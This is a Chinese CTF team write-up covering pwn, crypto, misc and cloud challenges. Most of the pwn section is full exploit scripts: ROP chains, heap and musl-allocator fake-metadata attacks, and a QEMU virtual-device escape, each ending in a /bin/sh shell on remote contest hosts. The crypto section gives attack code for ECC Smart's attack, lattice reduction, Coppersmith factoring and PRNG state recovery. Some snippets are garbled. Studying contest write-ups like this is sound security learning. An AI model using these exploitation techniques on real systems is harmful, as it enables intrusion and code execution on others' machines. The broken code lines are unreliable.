前言:
以下wp为本战队综合起来的,有些俺也大概看了一下,不会的也复现了一下,只要能学点东西就行了
队友们都太强了,大佬们终于愿意带我这个小废物了,(勇敢的小菜鸡也就跟着大佬们混了)
中途平台崩了40-50分钟左右,机缘巧合之下还抢了个一血,一个二血,巅峰冲到第二了,虽然很短暂,但是怎么说也到过了那,哈哈哈哈哈艹
习以为常的最后排名总会掉那么5678名的,最终排名:企业组第二,总排名:19
PWN
CrazyVM(赛后)
exp:
from pwn import *
context.log_level = 'debug'
def movReg(typea,typeb,reg1,reg2):
opcode = b'\x01'
opcode += p8(typea)+p8(typeb)+p8(reg1)+p8(reg2)
return opcode.ljust(8,b'\x00')
def movi(typeb,reg1,val):
opcode = b'\x01'
opcode += p8(1)+p8(typeb)+p8(reg1)+p32(val)
return opcode.ljust(8,b'\x00')
def push(reg):
opcode = b'\x12'
opcode += b'\x04\x03'
opcode += p8(reg)
return opcode.ljust(8,b'\x00')
def pop(reg):
opcode = b'\x12'
opcode += b'\x04\x03'
opcode += p8(reg)
return opcode.ljust(8,b'\x00')
def addReg(typea,typeb,reg1,reg2):
opcode = b'\x02'
opcode += p8(typea)+p8(typeb)+p8(reg1)+p8(reg2)
return opcode.ljust(8,b'\x00')
def subReg(typea,typeb,reg1,reg2):
opcode = b'\x03'
opcode += p8(typea)+p8(typeb)+p8(reg1)+p8(reg2)
return opcode.ljust(8,b'\x00')
def bye():
return b'\x00\x05\x03'.ljust(8,b'\x00')
opcode = b''
#p = process('./CrazyVM')
p = remote('"114.115.221.217',49153)
libc = ELF('./libc-2.31.so')
pop_rdi = 0x0000000000026b72
sh = 0x001b75aa
system = libc.sym['system']
opcode += movReg(0,3,0,0x10) #reg0 libc offset
opcode += movi(2,0x11,0x100ff0-0x80000)
opcode += addReg(0,3,0,0x11)
opcode += movReg(0,3,0x10,0)
opcode += movi(2,0x11,0x1ef2e0)
opcode += addReg(0,3,0x10,0x11)
opcode += pop(1) #reg1 environ
opcode += movReg(0,3,0x10,0)
opcode += movi(2,0x11,0x1ec5a0)
opcode += addReg(0,3,0x10,0x11)
opcode += pop(2)
opcode += movi(2,0x11,0x1ec5c0)
opcode += subReg(0,3,2,0x11) #reg2 libc
opcode += movReg(0,3,3,1)
opcode += subReg(0,3,3,2)
opcode += addReg(0,3,3,0) #reg3 stack offset
opcode += movi(2,0x11,0x100-4*8)
opcode += subReg(0,3,3,0x11)
opcode += movReg(0,3,0x10,3)
opcode += movReg(0,3,4,2)
opcode += movi(2,0x11,pop_rdi)
opcode += addReg(0,3,4,0x11) #reg4 pop rdi
opcode += movReg(0,3,5,2)
opcode += movi(2,0x11,sh)
opcode += addReg(0,3,5,0x11) #reg5 sh
opcode += movReg(0,3,6,2)
opcode += movi(2,0x11,system)
opcode += addReg(0,3,6,0x11) #reg6 system
opcode += movReg(0,3,7,2)
opcode += movi(2,0x11,pop_rdi+1)
opcode += addReg(0,3,7,0x11)
opcode += push(6)+push(7)+push(5)+push(4)
opcode += bye()
gdb.attach(p,"b *$rebase(0x174e)\nc")
p.sendafter(b"input code for vm: ",opcode)
p.sendafter(b"input data for vm: ",b"\n")
p.interactive()
pb(赛后)
头疼的垃圾数据,看不太懂
exp:
from pwn import *
from addressbook_pb2 import AddressBook, Person
context.log_level = 'debug'
def gen_leak_payload(offset: int):
person = Person()
person.show_off = ""
person.name = "plusls"
person.bio = "114514"
#person.rw = True
person.day.append(offset)
person.salary.append(1)
addressbook = AddressBook()
addressbook.people.append(person)
data = addressbook.SerializeToString()
return data
def gen_write_payload(offset: int, data_to_write: int):
person = Person()
person.show_off = ""
person.name = "plusls"
person.bio = "114514"
person.rw = True
person.day.append(offset)
person.salary.append(data_to_write)
addressbook = AddressBook()
addressbook.people.append(person)
data = addressbook.SerializeToString()
return data
# 0x8fbbd0
heap_ptr = 0
p = process('./pb')
#p =remote('114.115.204.229',49153)
data = gen_leak_payload(0x20)
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
p.recvuntil('Show me the money: ')
heap_ptr += int(p.recvuntil('\n'))
data = gen_leak_payload(0x21)
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
p.recvuntil('Show me the money: ')
heap_ptr += int(p.recvuntil('\n'))*0x100
data = gen_leak_payload(0x22)
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
p.recvuntil('Show me the money: ')
heap_ptr += int(p.recvuntil('\n'))*0x10000
data = gen_leak_payload(0x23)
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
p.recvuntil('Show me the money: ')
heap_ptr += int(p.recvuntil('\n'))*0x1000000
log.success('{:#x}'.format(heap_ptr))
data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 0, ord('/'))
#data = gen_write_payload(0x10000000, ord('s'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
# print(pidof(p))
# input()
p.send(data)
data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 1, ord('b'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 2, ord('i'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 3, ord('n'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 4, ord('/'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 5, ord('s'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 7, 0)
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
data = gen_write_payload(0x8EC2C0 - heap_ptr + 0x90 + 6, ord('h'))
p.recvuntil('size: ')
p.sendline(str(len(data)))
p.send(data)
p.interactive()
notegame(赛后)
exp:
from pwn import *
context.log_level = 'debug'
def add(size,buf):
p.sendlineafter(b"Note@Game:~$",b"AddNote")
p.sendlineafter(b"Size: ",str(size).encode())
p.sendafter(b"Note: ",buf)
def show(idx):
p.sendlineafter(b"Note@Game:~$",b"ShowNote")
p.sendlineafter(b"Index: ",str(idx).encode())
def edit(idx,buf):
p.sendlineafter(b"Note@Game:~$",b"EditNote")
p.sendlineafter(b"Index: ",str(idx).encode())
p.sendafter(b"Note: ",buf)
def free(idx):
p.sendlineafter(b"Note@Game:~$",b"DelNote")
p.sendlineafter(b"Index: ",str(idx).encode())
def update(size,buf,info):
p.sendlineafter(b"Note@Game:~$",b"UpdateInfo")
p.sendlineafter(b"Length: ",str(size).encode())
p.sendafter(b"Name: ",buf)
p.sendafter(b"Info: ",info)
def view():
p.sendlineafter(b"Note@Game:~$",b"ViewInfo")
#p = process('./notegame')
p = remote('114.115.152.113',49153)
add(0x20,b'\n')
update(0x10,b'dead\n',b'\n')
update(0x20,b'A'*0x20,b'\n')
view()
p.recvuntil(b"A"*0x20)
libc = ELF("./libc.so")
libc.address = u64(p.recv(6)+b"\x00\x00")-0xb7c90
success(hex(libc.address))
p.sendlineafter(b"Note@Game:~$",b"B4ckD0or")
p.sendlineafter(b"Addr: ",str(libc.address+0xb4ac0).encode())
# update(0x20,'deadbeef\n',b'\n')
# add(0x30,b'AAAA\n')
p.recvuntil(b"Mem: ")
secret = u64(p.recv(8))
success(hex(secret))
free(0)
fake_meta_addr = 0x10000000010
fake_mem_addr = libc.address+0xb7ac0
sc = 9 # 0x9c
freeable = 1
last_idx = 1
maplen = 2
stdin_FILE = libc.address+0xb4180+0x30
add(0x68,b'A\n')#0
add(0x6c,p64(stdin_FILE-0x10)+p64(0)+p64((maplen << 12) | (sc << 6) | (freeable << 5) |
last_idx)+p64(0)+b"\n")#1
edit(0,b'\x00'*0x60+p64(fake_meta_addr))
fake_meta = p64(stdin_FILE-0x18)#next
fake_meta += p64(fake_meta_addr+0x30)#priv
fake_meta += p64(fake_mem_addr)
fake_meta += p64(2)
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
p.sendlineafter(b"Note@Game:~$",b"TempNote")
p.sendlineafter(b"Input the address of your temp note: ",str(0x10000000000))
p.sendafter(b"Temp Note: ",p64(secret)+p64(0)+fake_meta+b"\n")
free(1)
add(0x90,b'A\n')
fake_meta = p64(stdin_FILE-0x18)#next
fake_meta += p64(fake_mem_addr)#priv
fake_meta += p64(stdin_FILE-0x10)
fake_meta += p64(2)
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
fake_meta += p64(stdin_FILE-0x18)
fake_meta += p64(fake_mem_addr)
fake_meta += p64(stdin_FILE-0x10)
fake_meta += p64(0)
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
p.sendlineafter(b"Note@Game:~$",b"TempNote")
p.sendafter(b"Temp Note: ",p64(secret)+p64(0)+fake_meta+b"\n")
# gdb.attach(p,"dir ./mallocng\nb *$rebase(0x1075)\nc")
p.sendlineafter(b"Note@Game:~$",b"AddNote")
p.sendlineafter(b"Size: ",str(0x90).encode())
payload = b'/bin/sh\x00'
payload = payload.ljust(32,b'\x00')
payload += p64(1)+p64(1)+p64(0)*3+p64(libc.sym['system'])
payload = b'A'*48+payload+b"\n"
p.send(payload)
p.interactive()
bountyhunter
Ida查看发现栈溢出漏洞,有system,有’/bin/sh’
简单的签到,直接放exp了:
exp:
from pwn import *
context.log_level = 'debug'
#p=process('./pwn')
p=remote('139.9.123.168',32548)
elf=ELF('./pwn')
#gdb.attach(p,'b *0x4011AA')
p.sendlineafter('Who are you? What do you want?
\n','a'*0x90+'b'*8+p64(0x0000000000401016)+p64(0x000000000040120b)+p64(0x403408)
+p64(elf.sym['system']))
p.interactive()
CRYPTO
ecc
直接梭:
p = 146808027458411567
A = 46056180
B = 2316783294673
E = EllipticCurve(Zmod(p), [A, B])
P = E(119851377153561800, 50725039619018388)
Q = E(22306318711744209, 111808951703508717)
print(P.discrete_log(Q))
# 13566003730592612
根据题目的继续:
p = 1256438680873352167711863680253958927079458741172412327087203
A = 377999945830334462584412960368612
B = 604811648267717218711247799143415167229480
E = EllipticCurve(Zmod(p), [A, B])
P = E(550637390822762334900354060650869238926454800955557622817950, 700751312208881169841494663466728684704743091638451132521079)
Q = E(1152079922659509908913443110457333432642379532625238229329830, 819973744403969324837069647827669815566569448190043645544592)
n = E.order()
plist = [2,5,7,27,212117,302426983]
klist = []
for p in plist:
P1 = (n // p) * P
Q1 = (n // p) * Q
klist.append(P1.discrete_log(Q1))
k = crt(klist, plist)
print(k)
# 16093767336603949
可以发现曲线的阶和模数是相同的,采用smart's attack
https://wstein.org/edu/2010/414/projects/novotney.pdf paper有代码。
def HenselLift(P,p,prec):
E = P.curve()
Eq = E.change_ring(QQ)
Ep = Eq.change_ring(Qp(p, prec))
x_P,y_P = P.xy()
x_lift = ZZ(x_P)
y_lift = ZZ(y_P)
x, y, a1, a2, a3, a4, a6 = var('x, y, a1, a2, a3, a4, a6')
f(a1, a2, a3, a4, a6, x, y) = y^2 + a1*x*y + a3*y - x^3 - a2*x^2 - a4*x - a6
g(y) = f(ZZ(Eq.a1()), ZZ(Eq.a2()), ZZ(Eq.a3()), ZZ(Eq.a4()), ZZ(Eq.a6()), ZZ(x_P), y)
gDiff = g.diff()
for i in range(1,prec):
uInv = ZZ(gDiff(y=y_lift))
u = uInv.inverse_mod(p^i)
y_lift = y_lift - u*g(y_lift)
y_lift = ZZ(Mod(y_lift, p^(i+1)))
y_lift = y_lift + O(p^prec)
return Ep([x_lift, y_lift])
def SmartAttack(P,Q,p,prec):
E = P.curve()
Eqq = E.change_ring(QQ)
Eqp = Eqq.change_ring(Qp(p, prec))
P_Qp = HenselLift(P, p, prec)
Q_Qp = HenselLift(Q, p, prec)
p_times_P = p * P_Qp
p_times_Q = p * Q_Qp
x_P,y_P = p_times_P.xy()
x_Q,y_Q = p_times_Q.xy()
phi_P = -(x_P / y_P)
phi_Q = -(x_Q / y_Q)
k = phi_Q / phi_P
k = ZZ(k) % p
return k
p = 0xd3ceec4c84af8fa5f3e9af91e00cabacaaaecec3da619400e29a25abececfdc9bd678e2708a58acb1bd15370acc39c596807dab6229dca11fd3a217510258d1b
A = 0x95fc77eb3119991a0022168c83eee7178e6c3eeaf75e0fdf1853b8ef4cb97a9058c271ee193b8b27938a07052f918c35eccb027b0b168b4e2566b247b91dc07
B = 0x926b0e42376d112ca971569a8d3b3eda12172dfb4929aea13da7f10fb81f3b96bf1e28b4a396a1fcf38d80b463582e45d06a548e0dc0d567fc668bd119c346b2
E = EllipticCurve(Zmod(p), [A, B])
P = E(10121571443191913072732572831490534620810835306892634555532657696255506898960536955568544782337611042739846570602400973952350443413585203452769205144937861, 8425218582467077730409837945083571362745388328043930511865174847436798990397124804357982565055918658197831123970115905304092351218676660067914209199149610)
Q = E(964864009142237137341389653756165935542611153576641370639729304570649749004810980672415306977194223081235401355646820597987366171212332294914445469010927, 5162185780511783278449342529269970453734248460302908455520831950343371147566682530583160574217543701164101226640565768860451999819324219344705421407572537)
k = SmartAttack(P,Q,p,8)
print(k)
# 19597596255129283097357413993866074145935170485891892
secrets(二血)
题目需要求32位的$p_1, p_2, p_3$使得
$$a_1 p_2 p_3 + a_2 p_1 p_3^2 + a_3 p_1 p_2^2 p_3 \equiv n \ (\bmod p)$$
格基规约。
首先我们要让某个线性组合变成一个小值。我们看上了$p_2 p_3$这一项。
于是同余式两边乘上$a_1^{-1}$:
$$p_2 p_3 + a_1^{-1} a_2 p_1 p_3^2 + a_1^{-1} a_3 p_1 p_2^2 p_3 \equiv a_1^{-1} n \ (\bmod p)$$
写成等式:
$$p_2 p_3 + a_1^{-1} a_2 p_1 p_3^2 + a_1^{-1} a_3 p_1 p_2^2 p_3 = a_1^{-1} n + kp$$
移项:
$$p_2 p_3 = a_1^{-1} n - a_1^{-1} a_2 p_1 p_3^2 - a_1^{-1} a_3 p_1 p_2^2 p_3 + kp$$
便有以下格:
$$\begin{bmatrix}
1 & p_1 p_3^2 & p_1 p_2^2 p_3 & k
\end{bmatrix}\begin{bmatrix}
n & 1 & 0 & 0 & 0 \
-a_1^{-1} & 0 & 1 & 0 & 0 \
-a_1^{-1} a_2 & 0 & 0 & 1 & 0 \
p & 0 & 0 & 0 & 1 \
\end{bmatrix}=\begin{bmatrix}
p_2 p_3 & 1 & p_1 p_3^2 & p_1 p_2^2 p_3 & k
\end{bmatrix}$$
右乘一个平衡的对角阵之后用LLL就可以求出$(p_2 p_3, p_1 p_3^2, p_1 p_2^2)$的值,从而求出$(p_1, p_2, p_3)$
然后求出AES密钥并且解密。
具体解题思路:
- 用1.sage求出p2p3 p1p3^2 p1p2^2p3
1.sage
p = 11679673793673506009014468475228106603081916890883486457896646429223178797758973615616012286356332520190126233017400893207593826175343702713785184522338787
a1, a2, a3 = [5756069086948558901324622226613545219570714553931419680091355546860288277733528684484679434350356392958470286317659356659575912829589095426942951584457183, 5460203359401780189277241557890921761977539358779669504676049669202545991278492450421493921244274437911819362776150796839590850454405186576054578519831639, 5733215264737754744921226160962972135334918697201206464452013241762591234783172108441892372068592924627684842613967215477538096712289370260146873046574651]
e = [[0, 1, 1], [1, 0, 2], [1, 2, 1]]
n = 954454001962944951493670572521755832608771383398769255721246850106731347064788730658352434771777089459134929238824940227065118832204119439793656116218597
c = '19bc72bc5f28141419994d237c84f314d9343e775722521b1eb369cb4fb5fa85'
c1 = inverse_mod(a1, p) * n
c2 = -a2 * inverse_mod(a1, p) % p
c3 = -a3 * inverse_mod(a1, p) % p
c4 = p
weights = [2^(512-64), 2^512, 2^(512-96), 2^(512-128), 1]
M = Matrix(ZZ, [[c1, 1, 0, 0, 0],
[c2, 0, 1, 0, 0],
[c3, 0, 0, 1, 0],
[c4, 0, 0, 0, 1]]) * diagonal_matrix(weights)
v = M.LLL()[0]
p2p3 = v[0] // weights[0]
p1p32 = v[2] // weights[2]
p1p22p3 = v[3] // weights[3]
print(p2p3)
print(p1p32)
print(p1p22p3)
factordb查分解 弄出p1 p2 p3具体值
from z3 import *
p1, p2, p3 = Ints('p1 p2 p3')
sol = Solver()
sol.add(p2 * p3 == 13661139160116902777)
sol.add(p1 p3 * 2 == 29300368481521898734987896109)
sol.add(p1 p2 2 p3 == 145206870370195317357010045446286801073)if (sol.check() == sat):
print(sol.model())
else:
print('GG simida')
- 把p1 p2 p3具体值填到finexp.py得到最后的flag
finexp.py
import random, hashlib
from Crypto.Util.number import *
from Crypto.Cipher import AES
p1 = 2607953941
p2 = 4075682389
p3 = 3351865493
secrets = [p1, p2, p3]
c = '19bc72bc5f28141419994d237c84f314d9343e775722521b1eb369cb4fb5fa85'
c = bytes.fromhex(c)
key = hashlib.sha256(str(secrets).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(c)
print(flag)
# flag{f6c279906556477981c0698e6239982e}
signin(一血)
题目给出$n=pq$以及$x = (p \oplus q) \bmod 2^{400}$,需要求n的分解
RSA+xor,从低位到高位枚举分析。
也就是依次模$2^1, 2^2, \ldots, 2^{400}$进行分析。
每次枚举$p, q$的高位并且利用$n$和$x$进行验算。
这样到400位,就可以求出若干$p, q$的低400位。
然后对于每个可能的低位$p$,构造多项式
$$f(x) = 2^{400} x + p$$
并用Coppersmith small root求解$x$,进而得到$p$,也就得到了$n=pq$的分解
之后就算得解密指数$d$,解密密文即可。
e1.py
from sage.all import *
from tqdm import tqdm
c = 51527129112041727084653138724362414261275943766050564614480874091504860204252606590600308110384082623259378144308474054746140923358753034723604762350226880256680349452009792177706794254189892857145865023696386031044387376465031791954744691766962599322069213009628794080376529614779412009851632855178036285523
e = 65537
n = 116652897843293883441819903375596603379518724751574619124014296798496676038791377773876686025057284152512331129032274361942198246462102132225928556778732123779685850832525256744533855512548226749675828320075447142642844219402725358384766251737244370235962898005154181991761923091468959986835373399473596976197
x = 471475951883841996380755394497425485938102193317354065361151516006175011110693734273770491686812217784012615381122407908
pre_sol = [(1, 1)]
for i in tqdm(range(1, 400)):
cur_pow = (1 << (i+1))
cur_sol = []
for pre_p, pre_q in pre_sol:
for s in range(2):
for t in range(2):
cur_p = pre_p + s * (1 << i)
cur_q = pre_q + t * (1 << i)
if (cur_p ^ cur_q == x % cur_pow and cur_p * cur_q % cur_pow == n % cur_pow):
cur_sol.append((cur_p, cur_q))
pre_sol = cur_sol
F, x = PolynomialRing(Zmod(n), name='x').objgen()
print(F)
print(x)
for p, q in tqdm(cur_sol):
f = x * 2 ** 400 + p
f = f.monic()
sol = f.small_roots(X = 2 ** 112, beta = 0.4)
if (sol != []):
print(sol[0] * 2 ** 400 + p)
break
e2.py
from Crypto.Util.number import *
p = 12172529005716175430901283903834642726755657633565845783363589139718811888175215203727237853050161503063968274652006993195449591640852850585439495172789713
c = 51527129112041727084653138724362414261275943766050564614480874091504860204252606590600308110384082623259378144308474054746140923358753034723604762350226880256680349452009792177706794254189892857145865023696386031044387376465031791954744691766962599322069213009628794080376529614779412009851632855178036285523
e = 65537
n = 116652897843293883441819903375596603379518724751574619124014296798496676038791377773876686025057284152512331129032274361942198246462102132225928556778732123779685850832525256744533855512548226749675828320075447142642844219402725358384766251737244370235962898005154181991761923091468959986835373399473596976197
q = n // p
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))
##flag{f092l9er-hgmj-lw5q-5d52-hwayzk6n5joj}
doublesage
模$p$意义下求$x$使得范数$\|xA-C\|$小
这个问题在一般的实数域内就对应伪逆 pseudoinverse A^{+}
对于方程$Ax=b$,利用伪逆$A^{+}$,我们可以求得$x=A^{+}b$,这个$x$就是使得$\|Ax-b\|$最小的那个$x$。
回到问题。上式求转置即为:
$$A^T x^T - C^T$$
所以只需要求得$A^T$的伪逆,再乘上$C^T$即可得到$x$的值。
然后可能单次尝试不能通过检验,需要多次尝试,就能通过检验。
exp.py
from pwn import *
from sage.all import *
def H_problem(p, p, rows):
p.recvuntil('Matrix A')
p.recvline()
def get_vector(p):
p.recvuntil('[')
s = p.recvuntil(']')[:-1]
return [int(x) for x in s.split()]
A = []
for i in range(rows):
s = get_vector(p)
A.append(s)
p.recvline()
b = p.recvline()
b = get_vector(p)
Zp = Zmod(p)
A = Matrix(Zp, A)
b = vector(Zp, b)
x = A.transpose().pseudoinverse() * b
print(x * A)
print(b)
x = str(x).replace('(', '[').replace(')', ']')
p.sendline(x)
p.recvuntil('The norm of vector x*A-C is')
res = p.recvline()
if (b'True' in res):
print('Pass chall {}'.format(p))
return True
else:
print('Fail chall {}'.format(p))
return False
while True:
#p = process(['sage', 'another.sage'])
p = remote('122.112.210.186',51436)
if H_problem(p, 29, 5) and H_problem(p, 227, 15):
p.interactive()
else:
p.close()
当然,由于该需要exp需要sage.all库,因此我们需要在sagemath上或者也可以用cocalc在线跑一下。
MISC
muziko
BabyMi
alpha10
附件得到一个data文件,用foremost分解得到两张图片。00001404.jpg和00001537.png
考虑进行盲水印
命令:python bwmforpy3.py decode 00001404.jpg 00001537.png flag.png
得到:image<00001404.jpg> + image(encoded)<00001537.png> -> watermark<flag.png>
解得图片:
异或一下通过肉眼观察得到flag(建议近视眼摘眼镜观察最佳)
flag{XqAe3QzK2ehD5fWv8jfBitPqHUw0}
(为赛后复现,不一定准确,比赛的时候简单试了几次看起来相似的字母就出了。)
签到题
签到:flag{welcometo5space}
云安全
Cloud_QM(赛后)
当时比赛就大概看了一下都不敢动手,o(╥﹏╥)o
要分析的有点多...
exp:
from pwn import *
from docker_debug import *
context.log_level = 'debug'
context.aslr = False
def write_addr(p: tube, addr: int, data: bytes) -> None:
p.sendline('b64write {} {} {}'.format(addr, len(data),
base64.b64encode(data).decode()))
pass
def writeq(p: tube, addr: int, data: int) -> None:
p.sendline('writeq {} {}'.format(addr, data))
p.recvuntil('OK\n')
p.recvuntil('OK\n')
def read_addr(p: tube, addr: int, size: int) -> bytes:
p.sendline('b64read {} {}'.format(addr, size))
p.recvuntil('OK ')
ret = base64.b64decode(p.recvuntil('\n'))
p.recvuntil('OK ')
p.recvuntil('\n')
return ret
def readq(p: tube, addr: int) -> int:
p.sendline('readq {}'.format(addr))
p.recvuntil('OK ')
ret = int(p.recvuntil('\n'), 16)
p.recvuntil('OK ')
p.recvuntil('\n')
return ret
BASE = 0xfeb00000
def set_note_idx(p: tube, idx: int) -> None:
writeq(p, BASE + 0x40, idx)
def set_size(p: tube, size: int) -> None:
writeq(p, BASE + 0x8, size)
def alloc(p: tube) -> None:
writeq(p, BASE + 0x10, 0)
def set_dma_addr(p: tube, dma_addr: int) -> None:
writeq(p, BASE + 0x18, dma_addr)
def read_to_buf(p: tube) -> None:
writeq(p, BASE + 0x20, 0)
def write_to_vm(p: tube) -> None:
writeq(p, BASE + 0x28, 0)
def free(p: tube) -> None:
writeq(p, BASE + 0x30, 0)
debug_env = DockerDebug('ubuntu-2004')
process = debug_env.process
attach = debug_env.attach
def main():
#p = process('./qemu-system-x86_64 -display none -machine accel=qtest -m 512M -device ctf -nodefaults -monitor none -qtest stdio'.split(' '))
p = remote('114.115.214.225', 8888)
p.recvuntil('OPENED')
p.sendline('outl 0xcf8 0x80001010')
p.recvuntil('OK')
p.sendline('outl 0xcfc 0xfebc0000')
p.recvuntil('OK')
p.sendline('outl 0xcf8 0x80001004')
p.recvuntil('OK')
p.sendline('outl 0xcfc 0x107')
p.recvuntil('OK')
set_note_idx(p, 0)
fengshui_size = 0x68
for i in range(8):
set_note_idx(p, i + 1)
set_size(p, fengshui_size)
alloc(p)
# set_dma_addr(p, 0)
# set_note_idx(p, 1)
# free(p)
# set_note_idx(p, 2)
# free(p)
# set_note_idx(p, 3)
# free(p)
# set_note_idx(p, 7)
# set_dma_addr(p, BASE+0x40) # set idx 0
# free(p)
# # leak heap addr
# set_note_idx(p, 7)
# set_dma_addr(p, 0x100)
# write_to_vm(p)
# heap_data = read_addr(p, 0x100, fengshui_size)
# log.info('data: {} {:#x} {:#x}'.format(heap_data, u64(heap_data[:8]),u64(heap_data[8:16])))
# tcache_head_addr = heap_data[8:16]
# offset = 0x55555657a470 - 0x55555657a010
set_note_idx(p, 9)
set_size(p, 0x500)
alloc(p)
set_dma_addr(p, BASE+0x40) # set idx 0
free(p)
set_note_idx(p, 9)
set_dma_addr(p, 0x100)
write_to_vm(p)
libc_base = u64(read_addr(p, 0x100, 0x8)) - 0x1ebbe0
system_addr = libc_base + 0x55410
free_hook_addr = libc_base + 0x1eeb28
log.success('libc: {:#x} system: {:#x}'.format(libc_base, system_addr))
# 放置 binsh
set_note_idx(p, 5)
set_dma_addr(p, 0x300)
write_addr(p, 0x300, b'/bin/sh')
read_to_buf(p)
set_dma_addr(p, 0)
set_note_idx(p, 1)
free(p)
set_note_idx(p, 2)
free(p)
set_note_idx(p, 3)
free(p)
set_note_idx(p, 4)
set_dma_addr(p, BASE+0x40) # set idx 0
free(p)
write_addr(p, 0x200, p64(free_hook_addr))
write_addr(p, 0x300, p64(system_addr))
set_note_idx(p, 4)
set_dma_addr(p, 0x200)
read_to_buf(p)
set_note_idx(p, 10)
set_size(p, fengshui_size)
alloc(p)
set_note_idx(p, 11)
set_size(p, fengshui_size)
alloc(p)
set_note_idx(p, 11)
set_dma_addr(p, 0x300)
read_to_buf(p)
set_note_idx(p, 5)
free(p)
# attach(p)
# input()
p.interactive()
if __name__ == '__main__':
main()
人工智能
Random Block Cipher
个人信息保护
data_protection
题目分5问。
- $n$比较小,factordb上面可以直接找到分解;
- $p$已知,而且明文小于$p$。直接模$p$分析,$\varphi(p)=p-1$即可;
- 模$p$下给了一个线性方程组,直接解即可;
- 前面已经生成了642个随机数,但是部分随机数的具体值未知,需要爆破
这些未知的随机数具体包括:
- 第1问的$a$和$b$,值介于$p$和$q$,并且$a$和$b$生成的先后顺序不确定;
- 第2问的$q$,值介于$p$和$p+2^{31}$,还有一位不确定。
已知624个随机数,就可以恢复随机种子,进而求出AES密钥。然后根据题目已知信息尝试解密成明文检验明文是否合法。
- 接第4问已知随机种子可以求出DH算法的私钥$x, y$,进而求出DH算法的shared secret $s$。乘以$s$的模逆即可。
这关键就在4.需要科学爆破一下
然后就是附上exp:
e1.py
from Crypto.Util.number import *
with open('out') as f:
s = f.read().splitlines()
c = eval(s[0])
n = eval(s[1])
p = 22186905890293167337018474103
q = 64390888389278700958517837593
e = 65537
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))
# xiaoMing
e2.py
from Crypto.Util.number import *
with open('out') as f:
s = f.read().splitlines()
c = eval(s[2])
n = eval(s[3])
p = 11616788973244169211540879051135531683500013311175857700532973853592727185033846064980717918194540453710515251945345524986932165003196804187526561468278997
e = 65537
q = n // p
dp = inverse(e, (p-1))
m = pow(c, dp, p)
print(m.bit_length())
print(p.bit_length())
print(long_to_bytes(m))
# 14115102907
e3.sage
with open('out') as f:
s = f.read()
s = s.splitlines()
q = eval(s[4])
A = eval(s[5])
b = eval(s[6])
A = Matrix(Zmod(q), A)
b = vector(Zmod(q), b)
x = A.solve_right(b)
x = ''.join([chr(i) for i in x])
print(x)
# xiaoMing@amail.com
e4.py
import random
from Crypto.Util.number import *
from Crypto.Cipher import AES
from randcrack import RandCrack
import string
import itertools
from tqdm import tqdm
import pickle
with open('out') as f:
s = f.read().splitlines()
c4 = eval(s[7])
c4 = long_to_bytes(c4)
ok_char = string.ascii_letters + string.digits + '._'
ok_char = list(ok_char.encode())
p1 = 22186905890293167337018474103
q1 = 64390888389278700958517837593
n2 = eval(s[3])
p2 = 11616788973244169211540879051135531683500013311175857700532973853592727185033846064980717918194540453710515251945345524986932165003196804187526561468278997
offset2 = n2 // p2 - p2
with open('out') as f:
s = f.read().splitlines()
s = eval(s[5])
s = [x for y in s for x in y]
append_2 = b'\xf1\x0f\xb5\xb5\xae\xf0\x05\x92BWR\xd0>\x91\x0cv\xbc ]\x81'
append_2 = bytes_to_long(append_2)
def my_submit(rc, x, t):
for i in range(t):
rc.submit(x % (1 << 32))
x >>= 32
for a1, b1 in [[p1, q1], [q1, p1]]:
aleft = a1 - 1
while (not isPrime(aleft)):
aleft -= 1
bleft = b1 - 1
while (not isPrime(bleft)):
bleft -= 1
for aa, bb, o2 in tqdm(itertools.product(range(aleft, a1)[::-1], range(bleft, b1)[::-1], range(2))):
rc = RandCrack()
my_submit(rc, aa, 3)
my_submit(rc, bb, 3)
my_submit(rc, append_2, 5)
off2 = 2 * offset2 + o2
my_submit(rc, off2, 1)
for i in s:
rc.submit(i)
key = rc.predict_getrandbits(128)
key = long_to_bytes(key, 16)
cipher = AES.new(key, AES.MODE_ECB)
m = cipher.decrypt(c4)
if (all(x in ok_char for x in m)):
print(m)
print()
print(aa)
print(bb)
print(off2)
exit(0)
# No.123_doge_road
e5.py
from Crypto.Util.number import *
from Crypto.Cipher import AES
from randcrack import RandCrack
aa = 22186905890293167337018474102
bb = 64390888389278700958517837515
off2 = 3288350018
with open('out') as f:
ss = f.read().splitlines()
s = eval(ss[5])
c4 = eval(ss[7])
c4 = long_to_bytes(c4)
s = [x for y in s for x in y]
append_2 = b'\xf1\x0f\xb5\xb5\xae\xf0\x05\x92BWR\xd0>\x91\x0cv\xbc ]\x81'
append_2 = bytes_to_long(append_2)
def my_submit(rc, x, t):
for i in range(t):
rc.submit(x % (1 << 32))
x >>= 32
rc = RandCrack()
my_submit(rc, aa, 3)
my_submit(rc, bb, 3)
my_submit(rc, append_2, 5)
my_submit(rc, off2, 1)
for i in s:
rc.submit(i)
key = rc.predict_getrandbits(128)
key = long_to_bytes(key, 16)
